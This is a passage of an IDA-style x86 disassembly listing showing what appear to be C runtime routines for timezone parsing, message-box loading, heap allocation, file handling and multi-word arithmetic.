		xor	esi, esi

loc_424788:				; CODE XREF: sub_424770+14j
		mov	eax, esi
		pop	esi
		retn
sub_424770	endp


; =============== S U B	R O U T	I N E =======================================



sub_42478C	proc near		; CODE XREF: sub_4222C2+73p
					; sub_4222C2+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	near ptr 28908FCh
		nop
		test	eax, eax
		jz	short loc_4247A4
		xor	esi, esi

loc_4247A4:				; CODE XREF: sub_42478C+14j
		mov	eax, esi
		pop	esi
		retn
sub_42478C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4247A8	proc near		; CODE XREF: sub_4222C2+15Bp
					; sub_42470C+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		nop
		call	near ptr 2600A74h
		test	eax, eax
		jz	short loc_4247BC
		xor	esi, esi

loc_4247BC:				; CODE XREF: sub_4247A8+10j
		mov	eax, esi
		pop	esi
		retn
sub_4247A8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42255C

loc_4247C0:				; CODE XREF: sub_42255C:loc_4225ADj
		push	0Ah
		call	sub_4235C9
		push	16h
		call	sub_425955
		pop	ecx
		pop	ecx
		push	3
		call	sub_41B7C2
; END OF FUNCTION CHUNK	FOR sub_42255C

; =============== S U B	R O U T	I N E =======================================



sub_4247D7	proc near		; CODE XREF: sub_422669:loc_4226A8p
		cmp	dword_4DB590, 0
		jnz	short locret_4247EB
		call	sub_4247EC
		inc	dword_4DB590

locret_4247EB:				; CODE XREF: sub_4247D7+7j
		retn
sub_4247D7	endp


; =============== S U B	R O U T	I N E =======================================



sub_4247EC	proc near		; CODE XREF: sub_4247D7+9p

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		or	ebx, 0FFFFFFFFh
		push	offset aTz	; "TZ"
		xor	edi, edi
		mov	dword_4DB4D8, ebp
		mov	dword_43CD80, ebx
		mov	dword_43CD70, ebx
		call	sub_425AC7
		mov	esi, eax
		pop	ecx
		cmp	esi, ebp
		jnz	loc_424915
		push	offset dword_4DB4E0
		nop
		call	near ptr 2850000h
		cmp	eax, ebx
		jz	loc_424A44
		mov	eax, dword_4DB4E0
		mov	ecx, dword_4DB534
		imul	eax, 3Ch
		cmp	word_4DB526, bp
		push	1
		pop	edx
		mov	dword_43CCD8, eax
		mov	dword_4DB4D8, edx
		jz	short loc_424863
		mov	esi, ecx
		imul	esi, 3Ch
		add	eax, esi
		mov	dword_43CCD8, eax

loc_424863:				; CODE XREF: sub_4247EC+69j
		cmp	word_4DB57A, bp
		jz	short loc_424887
		mov	eax, dword_4DB588
		cmp	eax, ebp
		jz	short loc_424887
		sub	eax, ecx
		mov	dword_43CCDC, edx
		imul	eax, 3Ch
		mov	dword_43CCE0, eax
		jmp	short loc_424893
; ---------------------------------------------------------------------------

loc_424887:				; CODE XREF: sub_4247EC+7Ej
					; sub_4247EC+87j
		mov	dword_43CCDC, ebp
		mov	dword_43CCE0, ebp

loc_424893:				; CODE XREF: sub_4247EC+99j
		lea	eax, [esp+14h+var_4]
		mov	esi, dword_42717C
		push	eax
		push	ebp
		push	3Fh
		mov	edi, 220h
		push	off_43CD64
		push	ebx
		push	offset dword_4DB4E4
		push	edi
		push	dword_4DB374
		call	esi
		test	eax, eax
		jz	short loc_4248D0
		cmp	[esp+14h+var_4], ebp
		jnz	short loc_4248D0
		mov	eax, off_43CD64
		and	byte ptr [eax+3Fh], 0
		jmp	short loc_4248D8
; ---------------------------------------------------------------------------

loc_4248D0:				; CODE XREF: sub_4247EC+D1j
					; sub_4247EC+D7j
		mov	eax, off_43CD64
		and	byte ptr [eax],	0

loc_4248D8:				; CODE XREF: sub_4247EC+E2j
		lea	eax, [esp+14h+var_4]
		push	eax
		push	ebp
		push	3Fh
		push	off_43CD68
		push	ebx
		push	offset dword_4DB538
		push	edi
		push	dword_4DB374
		call	esi
		test	eax, eax
		jz	loc_424A3C
		cmp	[esp+14h+var_4], ebp
		jnz	loc_424A3C
		mov	eax, off_43CD68
		and	byte ptr [eax+3Fh], 0
		jmp	loc_424A44
; ---------------------------------------------------------------------------

loc_424915:				; CODE XREF: sub_4247EC+2Dj
		cmp	byte ptr [esi],	0
		jz	loc_424A44
		mov	eax, dword_4DB58C
		cmp	eax, ebp
		jz	short loc_424938
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_424A44

loc_424938:				; CODE XREF: sub_4247EC+139j
		push	dword_4DB58C
		call	sub_41B0B1
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41B4D5
		add	esp, 0Ch
		cmp	eax, ebp
		mov	dword_4DB58C, eax
		jz	loc_424A44
		push	esi
		push	eax
		call	sub_41BEB0
		push	3
		push	esi
		push	off_43CD64
		call	sub_41B5F0
		mov	eax, off_43CD64
		add	esi, 3
		add	esp, 14h
		and	byte ptr [eax+3], 0
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_42498D
		push	1
		inc	esi
		pop	edi

loc_42498D:				; CODE XREF: sub_4247EC+19Bj
		push	esi
		call	sub_41B6EE
		pop	ecx
		mov	bl, 30h
		mov	ecx, eax
		imul	ecx, 0E10h
		mov	dword_43CCD8, ecx

loc_4249A4:				; CODE XREF: sub_4247EC+1C7j
		mov	al, [esi]
		cmp	al, 2Bh
		jz	short loc_4249B2
		cmp	al, bl
		jl	short loc_4249B5
		cmp	al, 39h
		jg	short loc_4249B5

loc_4249B2:				; CODE XREF: sub_4247EC+1BCj
		inc	esi
		jmp	short loc_4249A4
; ---------------------------------------------------------------------------

loc_4249B5:				; CODE XREF: sub_4247EC+1C0j
					; sub_4247EC+1C4j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_424A08
		inc	esi
		push	esi
		call	sub_41B6EE
		imul	eax, 3Ch
		pop	ecx
		mov	ecx, dword_43CCD8
		add	ecx, eax
		mov	dword_43CCD8, ecx

loc_4249D3:				; CODE XREF: sub_4247EC+1F2j
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_4249E0
		cmp	al, 39h
		jg	short loc_4249E0
		inc	esi
		jmp	short loc_4249D3
; ---------------------------------------------------------------------------

loc_4249E0:				; CODE XREF: sub_4247EC+1EBj
					; sub_4247EC+1EFj
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_424A08
		inc	esi
		push	esi
		call	sub_41B6EE
		pop	ecx
		mov	ecx, dword_43CCD8
		add	ecx, eax
		mov	dword_43CCD8, ecx

loc_4249FB:				; CODE XREF: sub_4247EC+21Aj
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_424A08
		cmp	al, 39h
		jg	short loc_424A08
		inc	esi
		jmp	short loc_4249FB
; ---------------------------------------------------------------------------

loc_424A08:				; CODE XREF: sub_4247EC+1CCj
					; sub_4247EC+1F7j ...
		cmp	edi, ebp
		jz	short loc_424A14
		neg	ecx
		mov	dword_43CCD8, ecx

loc_424A14:				; CODE XREF: sub_4247EC+21Ej
		movsx	eax, byte ptr [esi]
		cmp	eax, ebp
		mov	dword_43CCDC, eax
		jz	short loc_424A3C
		push	3
		push	esi
		push	off_43CD68
		call	sub_41B5F0
		mov	eax, off_43CD68
		add	esp, 0Ch
		and	byte ptr [eax+3], 0
		jmp	short loc_424A44
; ---------------------------------------------------------------------------

loc_424A3C:				; CODE XREF: sub_4247EC+10Bj
					; sub_4247EC+115j ...
		mov	eax, off_43CD68
		and	byte ptr [eax],	0

loc_424A44:				; CODE XREF: sub_4247EC+40j
					; sub_4247EC+124j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_4247EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424A4A	proc near		; CODE XREF: sub_422669+A5p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_43CCDC, edi
		jnz	short loc_424A5E

loc_424A57:				; CODE XREF: sub_424A4A+148j
					; sub_424A4A+150j ...
		xor	eax, eax
		jmp	loc_424BAA
; ---------------------------------------------------------------------------

loc_424A5E:				; CODE XREF: sub_424A4A+Bj
		mov	esi, [esp+0Ch+arg_0]
		push	1
		pop	ebx
		mov	eax, [esi+14h]
		cmp	eax, dword_43CD70
		jnz	short loc_424A7C
		cmp	eax, dword_43CD80
		jz	loc_424B7E

loc_424A7C:				; CODE XREF: sub_424A4A+24j
		cmp	dword_4DB4D8, edi
		jz	loc_424B54
		movzx	ecx, word_4DB586
		push	ecx
		cmp	word_4DB578, di
		movzx	ecx, word_4DB584
		push	ecx
		movzx	ecx, word_4DB582
		push	ecx
		movzx	ecx, word_4DB580
		push	ecx
		jnz	short loc_424ACE
		movzx	ecx, word_4DB57C
		push	edi
		push	ecx
		movzx	ecx, word_4DB57E
		push	ecx
		movzx	ecx, word_4DB57A
		push	ecx
		push	eax
		push	ebx
		jmp	short loc_424AE2
; ---------------------------------------------------------------------------

loc_424ACE:				; CODE XREF: sub_424A4A+65j
		movzx	ecx, word_4DB57E
		push	ecx
		push	edi
		movzx	ecx, word_4DB57A
		push	edi
		push	ecx
		push	eax
		push	edi

loc_424AE2:				; CODE XREF: sub_424A4A+82j
		push	ebx
		call	sub_424BF6
		movzx	eax, word_4DB532
		add	esp, 2Ch
		cmp	word_4DB524, di
		push	eax
		movzx	eax, word_4DB530
		push	eax
		movzx	eax, word_4DB52E
		push	eax
		movzx	eax, word_4DB52C
		push	eax
		jnz	short loc_424B3C
		movzx	eax, word_4DB528
		push	edi
		push	eax
		movzx	eax, word_4DB52A
		push	eax
		movzx	eax, word_4DB526
		push	eax
		push	dword ptr [esi+14h]
		push	ebx

loc_424B31:				; CODE XREF: sub_424A4A+108j
		push	edi
		call	sub_424BF6
		add	esp, 2Ch
		jmp	short loc_424B7E
; ---------------------------------------------------------------------------

loc_424B3C:				; CODE XREF: sub_424A4A+C8j
		movzx	eax, word_4DB52A
		push	eax
		push	edi
		movzx	eax, word_4DB526
		push	edi
		push	eax
		push	dword ptr [esi+14h]
		push	edi
		jmp	short loc_424B31
; ---------------------------------------------------------------------------

loc_424B54:				; CODE XREF: sub_424A4A+38j
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	ebx
		push	4
		push	eax
		push	ebx
		push	ebx
		call	sub_424BF6
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	5
		push	0Ah
		push	dword ptr [esi+14h]
		push	ebx
		push	edi
		call	sub_424BF6
		add	esp, 58h

loc_424B7E:				; CODE XREF: sub_424A4A+2Cj
					; sub_424A4A+F0j
		mov	edx, dword_43CD74
		mov	eax, dword_43CD84
		mov	ecx, [esi+1Ch]
		cmp	edx, eax
		jge	short loc_424BAE
		cmp	ecx, edx
		jl	loc_424A57
		cmp	ecx, eax
		jg	loc_424A57
		cmp	ecx, edx
		jle	short loc_424BC2
		cmp	ecx, eax
		jge	short loc_424BC2

loc_424BA8:				; CODE XREF: sub_424A4A+166j
					; sub_424A4A+16Aj
		mov	eax, ebx

loc_424BAA:				; CODE XREF: sub_424A4A+Fj
					; sub_424A4A+19Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_424BAE:				; CODE XREF: sub_424A4A+144j
		cmp	ecx, eax
		jl	short loc_424BA8
		cmp	ecx, edx
		jg	short loc_424BA8
		cmp	ecx, eax
		jle	short loc_424BC2
		cmp	ecx, edx
		jl	loc_424A57

loc_424BC2:				; CODE XREF: sub_424A4A+158j
					; sub_424A4A+15Cj ...
		mov	eax, [esi+8]
		imul	eax, 3Ch
		add	eax, [esi+4]
		imul	eax, 3Ch
		add	eax, [esi]
		imul	eax, 3E8h
		cmp	ecx, edx
		jnz	short loc_424BE9
		xor	ecx, ecx
		cmp	eax, dword_43CD78
		setnl	cl

loc_424BE5:				; CODE XREF: sub_424A4A+1AAj
		mov	eax, ecx
		jmp	short loc_424BAA
; ---------------------------------------------------------------------------

loc_424BE9:				; CODE XREF: sub_424A4A+18Ej
		xor	ecx, ecx
		cmp	eax, dword_43CD88
		setl	cl
		jmp	short loc_424BE5
sub_424A4A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424BF6	proc near		; CODE XREF: sub_424A4A+99p
					; sub_424A4A+E8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 1
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		jnz	loc_424C91
		mov	eax, [ebp+arg_C]
		mov	[ebp+arg_8], ebx
		and	[ebp+arg_8], 3
		mov	esi, eax
		jnz	short loc_424C21
		shl	esi, 2
		mov	eax, dword_43CD88[esi]
		jmp	short loc_424C2A
; ---------------------------------------------------------------------------

loc_424C21:				; CODE XREF: sub_424BF6+1Ej
		shl	esi, 2
		mov	eax, dword_43CDBC[esi]

loc_424C2A:				; CODE XREF: sub_424BF6+29j
		mov	edx, ebx
		lea	ecx, [eax+1]
		imul	edx, 16Dh
		lea	eax, [ebx-1]
		push	edi
		sar	eax, 2
		mov	edi, ecx
		push	7
		add	edi, eax
		lea	eax, [edx+edi-63DBh]
		pop	edi
		cdq
		idiv	edi
		mov	eax, [ebp+arg_10]
		pop	edi
		cmp	edx, [ebp+arg_14]
		jg	short loc_424C64
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		lea	ecx, [ecx+eax-7]
		jmp	short loc_424C6E
; ---------------------------------------------------------------------------

loc_424C64:				; CODE XREF: sub_424BF6+5Ej
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		add	ecx, eax

loc_424C6E:				; CODE XREF: sub_424BF6+6Cj
		cmp	[ebp+arg_10], 5
		jnz	short loc_424CAC
		cmp	[ebp+arg_8], 0
		jnz	short loc_424C82
		mov	esi, dword_43CD8C[esi]
		jmp	short loc_424C88
; ---------------------------------------------------------------------------

loc_424C82:				; CODE XREF: sub_424BF6+82j
		mov	esi, dword_43CDC0[esi]

loc_424C88:				; CODE XREF: sub_424BF6+8Aj
		cmp	ecx, esi
		jle	short loc_424CAC
		sub	ecx, 7
		jmp	short loc_424CAC
; ---------------------------------------------------------------------------

loc_424C91:				; CODE XREF: sub_424BF6+Cj
		mov	eax, [ebp+arg_C]
		test	bl, 3
		jnz	short loc_424CA2
		mov	ecx, dword_43CD88[eax*4]
		jmp	short loc_424CA9
; ---------------------------------------------------------------------------

loc_424CA2:				; CODE XREF: sub_424BF6+A1j
		mov	ecx, dword_43CDBC[eax*4]

loc_424CA9:				; CODE XREF: sub_424BF6+AAj
		add	ecx, [ebp+arg_18]

loc_424CAC:				; CODE XREF: sub_424BF6+7Cj
					; sub_424BF6+94j ...
		cmp	[ebp+arg_0], 1
		jnz	short loc_424CDD
		mov	eax, [ebp+arg_1C]
		mov	dword_43CD74, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		mov	dword_43CD70, ebx
		imul	eax, 3Ch
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43CD78, eax
		jmp	short loc_424D32
; ---------------------------------------------------------------------------

loc_424CDD:				; CODE XREF: sub_424BF6+BAj
		mov	eax, [ebp+arg_1C]
		mov	dword_43CD84, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		imul	eax, 3Ch
		add	eax, dword_43CCE0
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43CD88, eax
		jns	short loc_424D15
		add	eax, 5265C00h
		dec	ecx
		mov	dword_43CD88, eax
		jmp	short loc_424D26
; ---------------------------------------------------------------------------

loc_424D15:				; CODE XREF: sub_424BF6+110j
		mov	edx, 5265C00h
		cmp	eax, edx
		jl	short loc_424D2C
		sub	eax, edx
		inc	ecx
		mov	dword_43CD88, eax

loc_424D26:				; CODE XREF: sub_424BF6+11Dj
		mov	dword_43CD84, ecx

loc_424D2C:				; CODE XREF: sub_424BF6+126j
		mov	dword_43CD80, ebx

loc_424D32:				; CODE XREF: sub_424BF6+E5j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424BF6	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D36	proc near		; CODE XREF: ___:00422E9Dp

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_424D47
		add	esp, 0Ch
		retn
sub_424D36	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D47	proc near		; CODE XREF: sub_424D36+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_4DC821[eax], cl
		jnz	short loc_424D74
		cmp	[esp+arg_4], 0
		jz	short loc_424D6D
		movzx	eax, word_43C332[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_424D6F
; ---------------------------------------------------------------------------

loc_424D6D:				; CODE XREF: sub_424D47+16j
		xor	eax, eax

loc_424D6F:				; CODE XREF: sub_424D47+24j
		test	eax, eax
		jnz	short loc_424D74
		retn
; ---------------------------------------------------------------------------

loc_424D74:				; CODE XREF: sub_424D47+Fj
					; sub_424D47+2Aj
		push	1
		pop	eax
		retn
sub_424D47	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D78	proc near		; CODE XREF: sub_4235C9+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	dword_4DB594, ebx
		push	esi
		push	edi
		jnz	short loc_424DC7
		push	offset aUser32_dll ; "user32.dll"
		call	near ptr 26A0000h
		nop
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_424DFD
		mov	esi, dword_4270BC
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi
		test	eax, eax
		mov	dword_4DB594, eax
		jz	short loc_424DFD
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_4DB598, eax
		call	esi
		mov	dword_4DB59C, eax

loc_424DC7:				; CODE XREF: sub_424D78+Bj
		mov	eax, dword_4DB598
		test	eax, eax
		jz	short loc_424DE6
		call	eax
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_424DE6
		mov	eax, dword_4DB59C
		test	eax, eax
		jz	short loc_424DE6
		push	ebx
		call	eax
		mov	ebx, eax

loc_424DE6:				; CODE XREF: sub_424D78+56j
					; sub_424D78+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	dword_4DB594

loc_424DF9:				; CODE XREF: sub_424D78+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_424DFD:				; CODE XREF: sub_424D78+1Cj
					; sub_424D78+33j
		xor	eax, eax
		jmp	short loc_424DF9
sub_424D78	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424E01	proc near		; CODE XREF: sub_423936+22p
					; sub_423936+3Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		imul	esi, [ebp+arg_4]
		cmp	esi, 0FFFFFFE0h
		push	edi
		mov	[ebp+arg_0], esi
		ja	short loc_424E22
		test	esi, esi
		jnz	short loc_424E1C
		push	1
		pop	esi

loc_424E1C:				; CODE XREF: sub_424E01+16j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h

loc_424E22:				; CODE XREF: sub_424E01+12j
					; sub_424E01+94j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_424E81
		mov	eax, dword_4DC948
		cmp	eax, 3
		jnz	short loc_424E4D
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4DC940
		ja	short loc_424E6C
		push	eax
		call	sub_41E1CB
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_424E97
		jmp	short loc_424E6C
; ---------------------------------------------------------------------------

loc_424E4D:				; CODE XREF: sub_424E01+30j
		cmp	eax, 2
		jnz	short loc_424E6C
		cmp	esi, dword_43C324
		ja	short loc_424E6C
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41EC6E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_424EAB

loc_424E6C:				; CODE XREF: sub_424E01+3Bj
					; sub_424E01+4Aj ...
		push	esi
		push	8
		push	dword_4DC944
		nop
		call	near ptr 2790000h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_424EA5

loc_424E81:				; CODE XREF: sub_424E01+26j
		cmp	dword_4DB32C, 0
		jz	short loc_424EA5
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jz	short loc_424EAE
		jmp	short loc_424E22
; ---------------------------------------------------------------------------

loc_424E97:				; CODE XREF: sub_424E01+48j
		push	[ebp+arg_0]

loc_424E9A:				; CODE XREF: sub_424E01+ABj
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch

loc_424EA5:				; CODE XREF: sub_424E01+7Ej
					; sub_424E01+87j
		mov	eax, edi

loc_424EA7:				; CODE XREF: sub_424E01+AFj
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_424EAB:				; CODE XREF: sub_424E01+69j
		push	esi
		jmp	short loc_424E9A
; ---------------------------------------------------------------------------

loc_424EAE:				; CODE XREF: sub_424E01+92j
		xor	eax, eax
		jmp	short loc_424EA7
sub_424E01	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4239DB

loc_424EB2:				; CODE XREF: sub_4239DB+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	dword_4DC5E0, esi
		jle	short loc_424F05

loc_424EC1:				; CODE XREF: sub_4239DB+1528j
		mov	eax, dword_4DB5C8
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_424EFC
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_424EE0
		push	eax
		call	sub_41B05B
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_424EE0
		inc	edi

loc_424EE0:				; CODE XREF: sub_4239DB+14F6j
					; sub_4239DB+1502j
		cmp	esi, 14h
		jl	short loc_424EFC
		mov	eax, dword_4DB5C8
		push	dword ptr [eax+esi*4]
		call	sub_41B0B1
		mov	eax, dword_4DB5C8
		pop	ecx
		and	dword ptr [eax+esi*4], 0

loc_424EFC:				; CODE XREF: sub_4239DB+14F0j
					; sub_4239DB+1508j
		inc	esi
		cmp	esi, dword_4DC5E0
		jl	short loc_424EC1

loc_424F05:				; CODE XREF: sub_4239DB+14E4j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_4239DB

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424F0A	proc near		; CODE XREF: sub_423A33+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41BB20
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, dword_4DC700
		jnb	loc_42503F
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DC600[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_42503F
		push	1
		push	esi
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_425049
		push	2
		push	esi
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_425049
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_424FEC
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_41B590
		push	8000h
		push	ebx
		call	sub_425B44
		add	esp, 14h
		mov	[ebp+arg_4], eax

loc_424FA0:				; CODE XREF: sub_424F0A+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_424FAB
		mov	eax, edi

loc_424FAB:				; CODE XREF: sub_424F0A+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_424FC9
		sub	edi, eax
		test	edi, edi
		jle	short loc_424FDF
		jmp	short loc_424FA0
; ---------------------------------------------------------------------------

loc_424FC9:				; CODE XREF: sub_424F0A+B5j
		cmp	dword_4DB2AC, 5
		jnz	short loc_424FDC
		mov	dword_4DB2A8, 0Dh

loc_424FDC:				; CODE XREF: sub_424F0A+C6j
		or	esi, 0FFFFFFFFh

loc_424FDF:				; CODE XREF: sub_424F0A+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_425B44
		pop	ecx
		pop	ecx
		jmp	short loc_42502C
; ---------------------------------------------------------------------------

loc_424FEC:				; CODE XREF: sub_424F0A+71j
		jge	short loc_42502C
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_42272B
		push	ebx
		call	sub_4238A2
		add	esp, 10h
		push	eax
		nop
		call	near ptr 2600000h
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42502C
		mov	dword_4DB2A8, 0Dh
		call	near ptr 2670D55h
		nop
		mov	dword_4DB2AC, eax

loc_42502C:				; CODE XREF: sub_424F0A+E0j
					; sub_424F0A:loc_424FECj ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_42504C
; ---------------------------------------------------------------------------

loc_42503F:				; CODE XREF: sub_424F0A+1Aj
					; sub_424F0A+36j
		mov	dword_4DB2A8, 9

loc_425049:				; CODE XREF: sub_424F0A+4Ej
					; sub_424F0A+63j
		or	eax, 0FFFFFFFFh

loc_42504C:				; CODE XREF: sub_424F0A+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_424F0A	endp


; =============== S U B	R O U T	I N E =======================================



sub_425050	proc near		; CODE XREF: sub_4241CF+2Bp
					; sub_4241CF+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_425066
		cmp	ecx, esi
		jnb	short loc_425069

loc_425066:				; CODE XREF: sub_425050+10j
		push	1
		pop	eax

loc_425069:				; CODE XREF: sub_425050+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_425050	endp


; =============== S U B	R O U T	I N E =======================================



sub_425071	proc near		; CODE XREF: sub_42512A+40p
					; sub_42512A+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250A3
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250A3
		inc	dword ptr [esi+8]

loc_4250A3:				; CODE XREF: sub_425071+19j
					; sub_425071+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250BB
		inc	dword ptr [esi+8]

loc_4250BB:				; CODE XREF: sub_425071+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_425071	endp


; =============== S U B	R O U T	I N E =======================================



sub_4250CF	proc near		; CODE XREF: sub_42512A+30p
					; sub_42512A+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_4250CF	endp


; =============== S U B	R O U T	I N E =======================================



sub_4250FD	proc near		; CODE XREF: sub_4256C2+1C8p
					; sub_425BBA+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
